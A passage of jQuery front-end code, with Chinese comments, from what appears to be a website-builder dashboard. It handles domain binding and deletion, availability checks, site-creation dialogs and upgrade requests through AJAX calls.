src='/UserHome/images/left_w.gif'/>\");\r\n     },\r\n   function () {\r\n       $(this).empty();\r\n       $(this).append(\"<img src='/UserHome/images/left_b.gif'/>\");\r\n   }\r\n    );\r\n\r\n    $(\".us_page a:eq(1)\").hover(\r\n     function () {\r\n         $(this).empty();\r\n\r\n         $(this).append(\"<img src='/UserHome/images/right_w.gif'/>\");\r\n     },\r\n   function () {\r\n       $(this).empty();\r\n       $(this).append(\"<img src='/UserHome/images/right_b.gif'/>\");\r\n   }\r\n    );\r\n\r\n\r\n\r\n\r\n    $(\".dud_button1\").live(\"click\", function () {//花时间去分离了数组 了 不知道还有没有好点的办法。。。。\r\n\r\n        var strx = $(this).attr(\"name\");\r\n        var obj = $(this).parent().parent();\r\n        var objbutt = $(this);\r\n        var index;\r\n        var result_string = \"\"; //最终处理结果\r\n        var arrss = new Array(); //把值放到数组里面\r\n        $(\".jasonchen\").each(function (i) {\r\n            arrss[i] = $(this).html();\r\n        });\r\n        if (arrss.length > 1) {//如果数组是2个以上的集合 做一下处理\r\n            for (var i = 0; i < arrss.length; i++) {\r\n                if (arrss[i] == strx) {\r\n                    index = i;\r\n                }\r\n            }\r\n            var oneofstring = (arrss[index]);\r\n            var temparrs = arrss.join(',') + ','\r\n            var arr = temparrs.replace(oneofstring + ',', '');\r\n            var lastIndex = arr.lastIndexOf(',');\r\n            result_string = arr.substring(0, lastIndex);\r\n            // alert(result_string);\r\n\r\n        } else if (arrss.length == 1) {\r\n\r\n            result_string = arrss[0];\r\n            //alert(result_string);\r\n            result_string = \"\";\r\n        }\r\n        else {\r\n            result_string = \"\";\r\n        }\r\n\r\n        if (true) {\r\n            var pdtnme = $(\"#binddomainId\").val();\r\n\r\n            objbutt.empty();\r\n            // objbutt.parent().append(msg.wating);\r\n            objbutt.parent(\"td\").html(\"...Deletting...\"); //\r\n            objbutt.hide();\r\n\r\n            $.post(\"/UserHome/Ajax_Server/Ajax_All_V_ot51st.ashx\", { pdtnme: pdtnme, result_string: result_string, typex: \"2\" }, function (jason) {\r\n                if (jason == \"10000\") {\r\n                    obj.remove();\r\n                    ot5_rigth_ert(msg.delting, \"1\");\r\n                } else if (jason == \"TimeOut\") {\r\n                    window.location.href = \"/users/Login.aspx\";\r\n                }\r\n                else {\r\n                    ot5alert(jason, 1);\r\n                }\r\n\r\n            }, \"html\");\r\n        }\r\n    });\r\n\r\n\r\n    $(\".working_close\").hover(function () {//立即開通\r\n        $(this).css('cursor', 'pointer');\r\n        $(this).click(function () {\r\n            window.location.href = \"/pop/buy/cart.aspx\";\r\n        });\r\n    });\r\n\r\n    $(\".tit\").find(\"h1\").click(function () {//如果运行状态为未开通 那么给个死连接\r\n\r\n\r\n        if ($(this).parents(\".titul_close\").attr(\"title\") == msgg.zhuangtaibuhao) {\r\n            return false;\r\n            $(this).parent(\"a\").attr(\"href\", \"javascript:void(0);\")\r\n        }\r\n\r\n    });\r\n    //-------------点击\"编辑\"保存sesssingle[start]--------------------\r\n    $(\".us_line a span\").click(function () {\r\n        var name = $(this).parents().find(\".tit h2\").html();\r\n\r\n        s_name = name.substring(0, name.indexOf('.'));\r\n        if (s_name != \"\") {\r\n            $.ajax({\r\n                type: \"POST\",\r\n                url: \"/UserHome/Ajax_Server/Ajax_ForPhp_Session.ashx\",\r\n                data: \"s_name=\" + s_name,\r\n                dataType: \"html\",\r\n                async: true,\r\n                success: function (response) {\r\n                    if (response == \"TimeOut\") {\r\n                        window.location.href = \"/users/Login.aspx\";\r\n                    }\r\n\r\n                },\r\n                error: function (response) {\r\n                    // alert(\"err\");\r\n                }\r\n            });\r\n\r\n        }\r\n    });\r\n    //-------------点击\"编辑\"保存sesssingle[end]--------------------working_normal\r\n\r\n\r\n    //-------------点击非正常连接不然点[start]--------------------\r\n    $(function () {\r\n\r\n        if ($(\".new_left .working_unusual\").size() > 0) {\r\n            $(\".new_left .working_unusual\").each(function () {\r\n                $(this).parent(\".info\").next(\".sub_more\").next(\".sub_edit\").attr(\"href\", \"javascript:void(0);\");\r\n                $(this).parent(\".info\").next(\".sub_more\").find(\"ul li:eq(1)\").find(\"a\").attr(\"disabled\", \"disabled\");\r\n                if ($(this).prev().attr(\"class\") == \"update\") {\r\n                    $(this).prev(\".update\").attr(\"disabled\", \"disabled\");\r\n                }\r\n                else {\r\n                    // alert(\"11\");\r\n                }\r\n            });\r\n        }\r\n\r\n        if ($(\".new_left .working_close\").size() > 0) {\r\n\r\n            $(\".new_left .working_close\").each(function () {\r\n                $(this).parent(\".info\").next(\".sub_more\").next(\".sub_edit\").attr(\"href\", \"javascript:void(0);\");\r\n                $(this).parent(\".info\").next(\".sub_more\").find(\"ul li:eq(1)\").find(\"a\").attr(\"disabled\", \"disabled\");\r\n                if ($(this).prev().attr(\"class\") == \"update\") {\r\n                    $(this).prev(\".update\").attr(\"disabled\", \"disabled\");\r\n                }\r\n                else {\r\n                    // alert(\"11\");\r\n                }\r\n            });\r\n        }\r\n\r\n    });\r\n\r\n\r\n    //-------------点击非正常连接不然点[end]--------------------\r\n\r\n\r\n    $(\".sub\").each(function () {\r\n        $(this).children(\"ul\").children(\"li\").eq(2).children(\"a\").click(function () {\r\n            delectweb($(this));\r\n        });\r\n        $(this).children(\"ul\").children(\" li\").eq(0).children(\"a\").click(function () {\r\n            webinfo($(this)); //网站基本信息\r\n        });\r\n        $(this).children(\"ul\").children(\" li\").eq(1).children(\"a\").click(function () {\r\n\r\n            binddomain($(this)); //域名绑定\r\n        });\r\n        //        $(this).children(\"ul\").children(\" li\").eq(2).children(\"a\").click(function () {\r\n        //            upgrade($(this)); //升级\r\n        //        });\r\n        //        $(this).children(\"ul\").children(\" li\").eq(3).children(\"a\").click(function () {\r\n        //            binddomain($(this)); //复制站点\r\n        //        });\r\n    });\r\n\r\n\r\n    //  $(\"div.versions\").each(function () {\r\n    $(\".update\").click(function () {\r\n        // alert($(this).parent(\".info\").next(\".sub_more\").find(\".sub>ul\").attr(\"id\"));\r\n\r\n        // return false;\r\n        if ($(this).attr(\"disabled\") == \"disabled\") {\r\n            return false; //禁掉\r\n\r\n        }\r\n        upgrade($(this).parent(\".info\").next(\".sub_more\").find(\".sub>ul\").attr(\"id\"));\r\n\r\n    });\r\n    //});\r\n    $(\".popclass\").click(function () {\r\n        if (($(this).attr(\"id\") == \"youcantopenfreenow\") || ($(this).attr(\"id\") == \"youcantopenfreenowshop\")) {\r\n            //如果免费开通5个 限制\r\n            ot5alert(mess.mostfive, \"1\");\r\n            return false;\r\n        }\r\n        /* if ($(this).attr(\"id\") == \"freewebsite\" || $(this).attr(\"id\") == \"freeshop\") {\r\n        $.ajax({\r\n        type: \"POST\",\r\n        url: '/Ajax_WebServer/Ajax_WebSite.ashx',\r\n        data: { 'type_code': '3' },\r\n        success: function (data) {\r\n        if (data == \"true\") {\r\n        */\r\n        $(\"#getfreeORcharge\").val($(this).attr(\"id\"));  //标记是免费还是高级收费 \r\n        $(\"#dialog-modal\").dialog({\r\n            // height: 332,\r\n            width: 633,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n        /* } else {\r\n        ot5alert(mess.mostfive, \"1\");\r\n        }\r\n        }\r\n        });\r\n        }*/\r\n    });\r\n    $(\"#Name_Next\").click(function () {\r\n        var ismpt = $(\"#Website_Name\").val();\r\n        var datacheck = $(\"#datacheck\");\r\n        if (ismpt == \"\") {\r\n            datacheck.empty();\r\n            datacheck.append(\"<img src='../../images/cross.png' />\" + msg.notEmpty + \"\");\r\n        }\r\n        else {\r\n\r\n            // var msg = \"<%=gbl[\"gongxi\"]%>\";\r\n            //  alert((msg));\r\n            datacheck.empty();\r\n            datacheck.append(\"<img src='../../images/tick.png' />\" + msg.Congratulations + \"\");\r\n            close_div();\r\n            $(\"#Website_Domain\").dialog({\r\n                //  height: 623,\r\n                width: 633,\r\n                modal: true,\r\n                resizable: false\r\n\r\n            });\r\n\r\n            $.post(\"/Ajax_WebServer/Ajax_get_dome.ashx\", { 1: 1 }, function (results) {\r\n\r\n                $(\"#comornet\").empty();\r\n                $(\"#comornet\").append(\"<option>.com</option>\");\r\n                $(\"#comornet\").append(results);\r\n                $(\"#comornet option:eq(5)\").remove();\r\n\r\n            }, \"html\");\r\n        }\r\n    });\r\n\r\n    $(\"#stepPerv\").click(function () {//返回上一部\r\n        $(\"#Website_Domain\").dialog(\"close\");\r\n        $(\"#dialog-modal\").dialog({\r\n            // height: 332,\r\n            width: 633,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n\r\n    });\r\n    $(\"#temple_prev\").live(\"click\", function () {\r\n\r\n        $(\"#choose_temple\").dialog(\"close\");\r\n        $(\"#Website_Domain\").dialog({\r\n            //  height: 623,\r\n            width: 633,\r\n            modal: true,\r\n            resizable: false\r\n\r\n        });\r\n    });\r\n\r\n\r\n\r\n    $(\"#Website_Name\").keydown(function (event) {\r\n\r\n        if (event.keyCode == 13) {\r\n            var ismpt = $(\"#Website_Name\").val();\r\n            var datacheck = $(\"#datacheck\");\r\n            if (ismpt == \"\") {\r\n                datacheck.empty();\r\n                datacheck.append(\"<img src='../../images/cross.png' />\" + msg.notEmpty + \"\");\r\n            }\r\n            else {\r\n                datacheck.empty();\r\n                datacheck.append(\"<img src='../../images/tick.png' />\" + msg.Congratulations + \"\");\r\n                close_div();\r\n                $(\"#Website_Domain\").dialog({\r\n                    //  height: 623,\r\n                    width: 633,\r\n                    modal: true,\r\n                    resizable: false\r\n                });\r\n                $.post(\"/Ajax_WebServer/Ajax_get_dome.ashx\", { 1: 1 }, function (results) {\r\n\r\n                    $(\"#comornet\").empty();\r\n                    $(\"#comornet\").append(results);\r\n\r\n                }, \"html\");\r\n            }\r\n        }\r\n    });\r\n\r\n\r\n\r\n    $(\"input[name='yearss']\").live('click', function () {\r\n        //        if ($(this).attr(\"checked\") == true) {\r\n        //            $(this).parent(\"td\").next(\"td\").children(\"span\").text($(this).val());\r\n        //        }\r\n        //        else if ($(this).attr(\"checked\") == false) {\r\n        //            $(this).parent(\"td\").next(\"td\").children(\"span\").text(\"\");\r\n        //        }\r\n\r\n    });\r\n\r\n    $(\"#nextstep\").click(function () {\r\n        var New_Domain = $(\"#New_Domain\").val();\r\n        var Has_Domain_Msg = $(\"#Has_Domain_Msg\");\r\n        var chril_Domain = $(\"#chril_Domain\").val();\r\n        var comornet = $(\"#comornet\").val();\r\n        var ezsite_prd = $(\"#getfreeORcharge\").val();\r\n        var New_Domain_Msg = $(\"#New_Domain_Msg\").text(); //错误提示chril_Domain_check\r\n        if (New_Domain_Msg == msg.alerdreg) {\r\n            $(\"#New_Domain\").val(''); //如果註冊一個新域名 注册没通过 那么清空 \r\n        }\r\n        if (($(\"#chril_Domain\").val() == \"\") && ($(\"#New_Domain\").val() == \"\") && ($(\"#Has_Domain\").val() == \"\")) {\r\n            return;\r\n        }\r\n        if (($(\"#chril_Domain\").val() == \"\") && ($(\"#Has_Domain\").val() == \"\")) {\r\n\r\n            if (New_Domain_Msg == msg.errsate) {\r\n                return;\r\n            }\r\n\r\n        }\r\n        if (($(\"#chril_Domain\").val() == \"\") && ($(\"#New_Domain\").val() == \"\")) {\r\n            if (Has_Domain_Msg.text() != msg.pass) {\r\n                return;\r\n            }\r\n        }\r\n        if ($(\"#chril_Domain\").val() == \"\") {\r\n            $(\"#chril_Domain\").val(makeid());\r\n        }\r\n        if ($(\"input[name='radio_button']:checked\").val() == \"2\") {//第二個文本是選中的    msg.okreg  //\"该域名异常!\"//不正确的域名!\r\n            if (New_Domain_Msg == msg.okreg) {//   该域名可以注册 即通过了二级域名又 通过了 新域名   該域名可以註冊   去域名表单那里吧 --------->>>>>> 該域名可以註冊！ 该域名异常！该域名可以注册！该域名已被注册  该域名异常!\r\n                close_Website_Domain();\r\n                $(\"#domian_from\").dialog({\r\n                    width: 845,\r\n                    modal: true, //TODO:\r\n                    resizable: false\r\n                });\r\n                $(\"#allprice2\").html(New_Domain + comornet); //赋值给新域名的表单\r\n                $.post(\"/UserHome/Ajax_Server/Ajax_Domian_From.ashx\", { comornet: comornet }, function (result) {\r\n                    if (result == \"TimeOut\") {\r\n                        window.location.href = \"/users/Login.aspx\";\r\n                    }\r\n                    $(\"#reg_years\").empty();\r\n                    $(\"#reg_years\").append(result);\r\n\r\n                }, \"html\");\r\n                //弹出的div的 show 出用户余额\r\n                $.post(\"/UserHome/Ajax_Server/Ajax_getmemmny.ashx\", { 1: 1 }, function (data) {\r\n                    if (data == \"TimeOut\") {\r\n                        window.location.href = \"/users/Login.aspx\";\r\n                    }\r\n                    $(\"#getmonytype\").empty();\r\n                    $(\"#getmonytype\").append(data);\r\n                }, \"html\");\r\n            }\r\n\r\n        }\r\n        else if (($(\"input[name='radio_button']:checked\").val() == \"1\") && ($(\"#chril_Domain_check\").text() == msg.domereg)) {/////此二级域名可以注册!  domereg 直接去模版那里开通建站吧~\r\n            close_Website_Domain();\r\n            $(\"#Has_Domain\").val(\"\");\r\n            $(\"#choose_temple\").dialog({\r\n                //  height: 730,\r\n                width: 633,\r\n                modal: true,\r\n                resizable: false,\r\n                position: [318, 177]\r\n            });\r\n\r\n            InitTable(0, ezsite_prd); /// 选模版\r\n        }\r\n        else if (($(\"input[name='radio_button']:checked\").val() == \"3\") && ($(\"#Has_Domain_Msg\").text() == msg.pass)) {//檢測通過\r\n\r\n            close_Website_Domain();\r\n            $(\"#choose_temple\").dialog({\r\n                //  height: 730,\r\n                width: 633,\r\n                modal: true,\r\n                resizable: false,\r\n                position: [318, 177]\r\n            });\r\n\r\n            InitTable(0, ezsite_prd); /// 选模版\r\n        }\r\n    });\r\n\r\n    $(\"#chril_Domain,#New_Domain,#Has_Domain\").keydown(function (event) {\r\n        if (event.keyCode == 13) {\r\n            var New_Domain = $(\"#New_Domain\").val(); var Has_Domain_Msg = $(\"#Has_Domain_Msg\");\r\n            var chril_Domain = $(\"#chril_Domain\").val(); var comornet = $(\"#comornet\").val();\r\n            var ezsite_prd = $(\"#getfreeORcharge\").val();\r\n            var New_Domain_Msg = $(\"#New_Domain_Msg\").text(); //错误提示chril_Domain_check\r\n            if (New_Domain_Msg == msg.alerdreg) {//该域名已被注册!\r\n                $(\"#New_Domain\").val(''); //如果註冊一個新域名 注册没通过 那么清空 \r\n            }\r\n            if (($(\"#chril_Domain\").val() == \"\") && ($(\"#New_Domain\").val() == \"\") && ($(\"#Has_Domain\").val() == \"\")) {\r\n                return;\r\n            }\r\n            if (($(\"#chril_Domain\").val() == \"\") && ($(\"#Has_Domain\").val() == \"\")) {\r\n\r\n                if (New_Domain_Msg == msg.errsate) {//\"该域名异常！\"\r\n                    return;\r\n                }\r\n            }\r\n            if (($(\"#chril_Domain\").val() == \"\") && ($(\"#New_Domain\").val() == \"\")) {\r\n                if (Has_Domain_Msg.text() != msg.pass) {//\"檢測通過！\"\r\n                    return;\r\n                }\r\n\r\n            }\r\n\r\n            if ($(\"#chril_Domain\").val() == \"\") {\r\n                $(\"#chril_Domain\").val(makeid());\r\n            }\r\n            if ($(\"input[name='radio_button']:checked\").val() == \"2\") {//第二個文本是選中的\r\n                if (New_Domain_Msg == msg.okreg) {//該域名可以註冊！   即通过了二级域名又 通过了 新域名  去域名表单那里吧 --------->>>>>> 該域名可於註冊 该域名异常！该域名可以注册！该域名已被注册\r\n                    close_Website_Domain();\r\n                    $(\"#domian_from\").dialog({\r\n                        width: 845,\r\n                        modal: true, //TODO:\r\n                        resizable: false\r\n                    });\r\n                    $(\"#allprice2\").html(New_Domain + comornet); //赋值给新域名的表单\r\n                    $.post(\"/UserHome/Ajax_Server/Ajax_Domian_From.ashx\", { comornet: comornet }, function (result) {\r\n                        if (result == \"TimeOut\") {\r\n                            window.location.href = \"/users/Login.aspx\";\r\n                        }\r\n                        $(\"#reg_years\").empty();\r\n                        $(\"#reg_years\").append(result);\r\n                    }, \"html\");\r\n                    //弹出的div的 show 出用户余额\r\n                    $.post(\"/UserHome/Ajax_Server/Ajax_getmemmny.ashx\", { 1: 1 }, function (data) {\r\n                        if (data == \"TimeOut\") {\r\n                            window.location.href = \"/users/Login.aspx\";\r\n                        }\r\n                        $(\"#getmonytype\").empty();\r\n                        $(\"#getmonytype\").append(data);\r\n                    }, \"html\");\r\n                }\r\n\r\n            }\r\n            else if (($(\"input[name='radio_button']:checked\").val() == \"1\") && ($(\"#chril_Domain_check\").text() == msg.domereg)) {//  此二级域名可以注册！///直接去模版那里开通建站吧~\r\n                close_Website_Domain();\r\n                $(\"#choose_temple\").dialog({\r\n                    //  height: 730,\r\n                    width: 633,\r\n                    modal: true,\r\n                    resizable: false,\r\n                    position: [318, 177]\r\n                });\r\n                InitTable(0, ezsite_prd); /// 选模版\r\n            }\r\n            else if (($(\"input[name='radio_button']:checked\").val() == \"3\") && ($(\"#Has_Domain_Msg\").text() == msg.pass)) {// \"檢測通過！\"\r\n\r\n                close_Website_Domain();\r\n                $(\"#choose_temple\").dialog({\r\n                    //  height: 730,\r\n                    width: 633,\r\n                    modal: true,\r\n                    resizable: false,\r\n                    position: [318, 177]\r\n                });\r\n                InitTable(0, ezsite_prd); /// 选模版\r\n            }\r\n        }\r\n\r\n    });\r\n\r\n\r\n\r\n    $(\"#upgrade_Jason\").click(function () {\r\n\r\n        var str = $(\"#User_Web_Info\").attr(\"lang\");\r\n        //   alert(str);\r\n        $(\"#User_Web_Info\").dialog({\r\n            width: 770,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n        $(\"#accordion\").accordion({ autoHeight: false, active: 1 }); //升级服务\r\n        var aaa = document.getElementById('Clear2');\r\n        aaa.disabled = true; //使用true或false，控制是否让按钮禁用\r\n        $.post(\"../../Ajax_WebServer/Ajax_UserSingle_Upgrade.ashx\", { str: str }, function (upgrade) {\r\n            if (upgrade == \"TimeOut\") {\r\n                window.location.href = \"/users/Login.aspx\";\r\n            } else {\r\n                $(\"#upgrade\").empty();\r\n                $(\"#upgrade\").append(upgrade);\r\n                var aaa = document.getElementById('Clear2');\r\n                aaa.disabled =false; //使用true或false，控制是否让按钮禁用\r\n            }\r\n        }, \"html\");\r\n    });\r\n\r\n\r\n    $(\"#webInfo_Jason\").click(function () {\r\n        var str = $(\"#User_Web_Info\").attr(\"lang\");\r\n        $(\"#User_Web_Info\").dialog({\r\n            width: 770,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n        $(\"#accordion\").accordion({ autoHeight: false, active: 0 }); //详细信息\r\n        $.post(\"/Ajax_WebServer/Ajax_UserSingle_WebInfo.ashx\", { str: str }, function (info) {\r\n            $(\"#User_Web_Info\").attr(\"lang\", str);\r\n            $(\"#webinfo\").empty();\r\n            $(\"#webinfo\").append(info);\r\n        }, \"html\");\r\n    });\r\n\r\n    $(\"#chril_Domain\").focus(function () {\r\n        jQuery(\"input[type='radio'][name='radio_button'][value='1']\").attr(\"checked\", \"checked\"); //此时value=1  表示选中\r\n    });\r\n\r\n    $(\"#chril_Domain\").keyup(function () {//检查数据库是否已经存在此二级域名\r\n\r\n        var s_nme = $(\"#chril_Domain\").val();\r\n        var chril_Domain_check = $(\"#chril_Domain_check\")\r\n        // jQuery(\"input[type='radio'][name='radio_button'][value='1']\").attr(\"checked\", \"checked\"); //此时value=1  表示选中\r\n        var isornot = isDigit1(s_nme); //正则表达式检查是否否和要求\r\n        if ((isornot == false) || (s_nme.length < 5)) {\r\n            // $(\"#chril_Domain\").val(\"\");\r\n\r\n            chril_Domain_check.empty();\r\n            chril_Domain_check.append(\"<img src='../../../images/cross.png' id='imgsrc' />\" + msg.zhuhe + \"\"); //5-16位字母或数字组合！\r\n        }\r\n        if (s_nme.length >= 5 && isornot == true) {\r\n            chril_Domain_check.empty();\r\n            chril_Domain_check.append(\"<img src='/images/xiaozhanggei.gif' />\");\r\n            $.post(\"/Ajax_WebServer/Ajax_Check_Data.ashx\", { s_nme: s_nme }, function (data) {\r\n                if (data == 0) {\r\n                    chril_Domain_check.empty();\r\n                    chril_Domain_check.append(\"<img src='../../../images/cross.png' id='imgsrc'/>\" + msg.aldrdome + \"\"); //此二级域名已经存在请换一个！\r\n                }\r\n                else if (data == 1) {\r\n                    chril_Domain_check.empty();\r\n                    chril_Domain_check.append(\"<img src='../../../images/tick.png' />\" + msg.domereg + \"\"); //此二级域名可以注册！\r\n                } else if (data == \"TimeOut\") {\r\n                    window.location.href = \"/users/Login.aspx\";\r\n                }\r\n            }, \"html\");\r\n        }\r\n    });\r\n    $(\"#New_Domain\").focus(function () {\r\n        jQuery(\"input[type='radio'][name='radio_button'][value='2']\").attr(\"checked\", \"checked\"); //此时value=2 表示选中\r\n        $(\"#New_Domain_Msg\").empty();\r\n    });\r\n    $(\"#New_Domain\").blur(function () {\r\n        if ($(this).val().length == 0) {\r\n            jQuery(\"input[type='radio'][name='radio_button'][value='2']\").attr(\"checked\", false); //此时value=2  表示选中\r\n        }\r\n    });\r\n    $(\"#check_domain\").click(function () {\r\n\r\n        //  alert($(\"input[name='radio_button']:checked\").val());\r\n        var New_Domain = $(\"#New_Domain\").val(); var comornet = $(\"#comornet\").val(); var New_Domain_Msg = $(\"#New_Domain_Msg\");\r\n        if (New_Domain.length > 3) {\r\n            New_Domain_Msg.empty();\r\n            New_Domain_Msg.append(\"<img src='/images/xiaozhanggei.gif' />\");\r\n            $.ajax({\r\n                type: \"POST\",\r\n                url: \"/Ajax_WebServer/Ajax_Check_NexDomain.ashx\",\r\n                data: \"New_Domain=\" + New_Domain + \"&comornet=\" + comornet + \"&rdn=\" + Math.random(),\r\n                success: function (data) {\r\n                    if (data == 0)\r\n                    { New_Domain_Msg.empty(); New_Domain_Msg.append(\"<img src='../../../images/cross.png' id='imgsrc1' />\" + msg.alerdreg + \"\"); } //该域名已被注册！\r\n                    else if (data == 1)\r\n                    { New_Domain_Msg.empty(); New_Domain_Msg.append(\"<img src='../../../images/tick.png' id='imgsrc9' />\" + msg.okreg + \"\"); } //該域名可以註冊！\r\n                    else if (data == 2) {\r\n                        New_Domain_Msg.empty(); New_Domain_Msg.append(\"<img src='../../../images/cross.png' id='imgsrc1' />\" + msg.errsate + \"\"); //该域名异常！\r\n                    } else if (data == \"TimeOut\") {\r\n\r\n                        window.location.href = \"/users/Login.aspx\";\r\n                    }\r\n                }\r\n            });\r\n        } else if (New_Domain.length == 0) {\r\n            New_Domain_Msg.empty();\r\n        }\r\n    });\r\n\r\n    $(\"#Has_Domain\").focus(function () {\r\n        jQuery(\"input[type='radio'][name='radio_button'][value='3']\").attr(\"checked\", \"checked\"); //此时value=3 表示选中\r\n    });\r\n    $(\"#Has_Domain\").blur(function () {\r\n        if ($(this).val().length == 0) {\r\n            jQuery(\"input[type='radio'][name='radio_button'][value='3']\").attr(\"checked\", false); //此时value=3  表示选中\r\n        }\r\n    });\r\n\r\n    $(\"#suerdiv\").click(function () {\r\n        $(\"#confrim\").dialog(\"close\");\r\n        var chril_Domain = $(\"#chril_Domain\").val(); //二级域名\r\n        $.post(\"/Ajax_WebServer/Ajax_User_Pay_Rez.ashx\", { chril_Domain: chril_Domain }, function (data) {\r\n            if (data == 0) {\r\n\r\n            }\r\n            else {\r\n                alert(data);\r\n            }\r\n\r\n        }, \"html\");\r\n\r\n    });\r\n\r\n    $(\"#Has_Domain\").keyup(function () {\r\n        var Has_Domain_Msg = $(\"#Has_Domain_Msg\");\r\n\r\n        if ($(this).val().length < 5) {\r\n            Has_Domain_Msg.empty();\r\n            Has_Domain_Msg.append(\"<img src='../../../images/cross.png' />\" + msg.limdome + \"\"); //域名不低於4位有效字符！\r\n        }\r\n        else {\r\n            if (isdomain($(this).val()) == false) {\r\n                Has_Domain_Msg.empty();\r\n                Has_Domain_Msg.append(\"<img src='../../../images/cross.png' />\" + msg.plseas + \"\"); //請輸入正確的域名！\r\n            }\r\n            else {\r\n                Has_Domain_Msg.empty();\r\n                Has_Domain_Msg.append(\"<img src='../../../images/tick.png' />\" + msg.pass + \"\"); //檢測通過！\r\n            }\r\n        }\r\n\r\n    });\r\n\r\n    //    $(\"#ot5_dme_new\").click(function () {\r\n    //        $(this).val(\"\");\r\n    //    });\r\n    $(\"#sxss\").live(\"click\", function () {//域名绑定\r\n        var ot5_dme_new = $(\"#ot5_dme_new\").val();\r\n        var free_or = $(\"#free_or\").val();\r\n        if (ot5_dme_new.length < 5) {\r\n            $(\"#ot5_dme_new\").val(\"\");\r\n            return false;\r\n        }\r\n\r\n        if (isdomain(ot5_dme_new) == false) {\r\n            ot5alert(msg.plseas, \"1\"); //請輸入正確的域名！\r\n            $(\"#ot5_dme_new\").val(\"\");\r\n            return false;\r\n        }\r\n        if (free_or == \"1\") {\r\n            var times = ot5_dme_new.split(',').length;\r\n            if ($(\"table.us_table1 .jasonchen\").size() > 0) {///判读 是否存在一个域名了\r\n                ot5alert(msg.isorry, \"1\"); //對不起！您只能綁定一個域名，趕快升級吧！可以綁定多個域名！\r\n                $(\"#ot5_dme_new\").val(\"\");\r\n                return false;\r\n\r\n            }\r\n\r\n            if (times > 1) {\r\n                ot5alert(msg.stailing, \"1\"); //您只能綁定一個域名！\r\n                $(\"#ot5_dme_new\").val(\"\");\r\n                return false;\r\n            }\r\n        }\r\n        if (free_or == \"10\") {\r\n            var times = ot5_dme_new.split(',').length;\r\n            if (times >= 10) {\r\n                ot5alert(msg.ybind, \"1\"); //您只能綁定10個域名！\r\n                $(\"#ot5_dme_new\").val(\"\");\r\n                return false;\r\n            }\r\n        }\r\n        var items = \"\";\r\n        var times = \"\";\r\n        $(\".jasonchen\").each(function (i) {\r\n            items += ($(this).html()) + \",\";\r\n        });\r\n        times = $(\".jasonchen\").size();\r\n        if (times >= 10) {\r\n            ot5alert(msg.ybind, \"1\"); //您只能綁定10個域名！\r\n            $(\"#ot5_dme_new\").val(\"\");\r\n            return false;\r\n        }\r\n\r\n        var str = $(\"#binddomainId\").val(); //网站名称\r\n        var domians = $(\"#ot5_dme_new\").val(); //输入的域名\r\n\r\n        if (str != \"\" && domians != \"\") {\r\n            var domian = (items + domians);\r\n            $(\"#loading_div\").show(); //加载中\r\n            $(\"#binddime\").dialog(\"close\"); //影藏绑定输入div\r\n\r\n            $.post(\"/Ajax_WebServer/Ajax_UserSingle_binddomain.ashx\", { str: str, domian: domian }, function (upgrade) {\r\n                \r\n                if (upgrade == \"TimeOut\") {\r\n                    window.location.href = \"/users/Login.aspx\";\r\n                } else {\r\n                    $(\"#loading_div\").hide(); //加载完成\r\n                    if (upgrade == \"1\") {\r\n                        ot5alert(msg.conts, \"1\"); //含有特殊字符！\r\n                    }\r\n                    else if (upgrade == \"0\") {\r\n\r\n                        ot5_rigth_ert(msg.binding, \"1\"); //恭喜，綁定成功！\r\n                    }\r\n                    else {\r\n                      \r\n                        ot5alert(upgrade, \"1\");\r\n                    }\r\n                }\r\n\r\n            }, \"html\");\r\n        }\r\n    });\r\n\r\n\r\n    $(\"#vipwebsite\").click(function () {//xjd test\r\n        var str = \"1\";\r\n        var Website_Name = \"vip\" + makeid();\r\n        var chril_Domain = \"vip\" + makeid();\r\n        var ezsite_prd = \"vipwebsite\";\r\n        var years = \"1\";\r\n        $(\"#loading\").dialog({\r\n            height: 95,\r\n            width: 518,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n\r\n        $.post(\"/Ajax_WebServer/Ajax_User_Order.ashx\", { template_id: str, Website_Name: Website_Name, chril_Domain: chril_Domain, ezsite_prd: ezsite_prd, years: years }, function (jason) {\r\n            if (jason == 0) {\r\n                self.location = \"/pop/buy/cart.aspx\";\r\n            }\r\n            else {\r\n                alert(jason);\r\n            }\r\n        }, \"html\");\r\n    });\r\n\r\n\r\n    $(\"btn_sure\").click(function () {\r\n        alert(\"111\");\r\n    });\r\n\r\n    $(\"#backdiv\").click(function () {\r\n        $(\"#choose_temple\").dialog({\r\n            width: 800,\r\n            modal: true,\r\n            resizable: false\r\n        });\r\n\r\n\r\n    });\r\n\r\n    /////////////9-26 修改\r\n\r\n\r\n    $(\"#canle\").click(function () {//取消\r\n        $(\"#yes_or\").dialog(\"close\");\r\n    });\r\n    $(\"#canle2\").click(function () {//取消2\r\n        $(\"#yes_or2\").dialog(\"close\");\r\n    });\r\n\r\n    $(\"#cancleagan\").click(function () {\r\n\r\n        $(\"#deletwebagian\").dialog(\"close\");\r\n    });\r\n\r\n\r\n    $(\"#canle\").click(function () {//取消   \r\n        $(\"#yes_or\").dialog(\"close\");\r\n    });\r\n\r\n\r\n    $(\"#sure.us_ok\").click(function (i) {//确定\r\n        var str = $(\"#hostname\").val();\r\n        var newproid = $(\".g_prdtype\").val();\r\n        $(\"#yes_or\").dialog(\"close\");\r\n        var yeaer = $(\"input:radio[name='yearss'][checked]\").next(\"span\").text();\r\n        // var tmetpe = $(\"input:radio[name='yearss'][checked]\").next(\"span\").next(\"span\").text();\r\n        // alert(tmetpe);\r\n        var tmetpe = $(\"input:radio[name='yearss'][checked]\").next(\"span\").next(\"span\").next(\"input\").val();\r\n        var Real_value = $(\"input:radio[name='yearss'][checked]\").parent(\"td\").next(\"td\").children(\"span\").text(); //选中产品的价值。\r\n        if (str.length > 0 && newproid.length > 0) {\r\n            $.post(\"/Ajax_WebServer/Ajax_UserSingle_Upgrade_Ing.ashx\", { str: str, yeaer: yeaer, newproid: newproid, tmetpe: tmetpe, Real_value: Real_value }, function (data) {\r\n                if (data == \"TimeOut\") {\r\n                    window.location.href = \"/users/Login.aspx\";\r\n                } else {\r\n                    if (data == \"10000\") {\r\n                        ot5_rigth_ert(msg.congr_grd, \"1\"); //恭喜您！升級成功！\r\n                        location.reload();\r\n                    }\r\n                    else if (data.substring(0, 5) == \"50000\") {\r\n                        self.location = \"/UserHome/ot5lst/payupgrade/payupgrade.aspx?\" + data;\r\n                    }\r\n                    else {\r\n                        ot5alert(data, 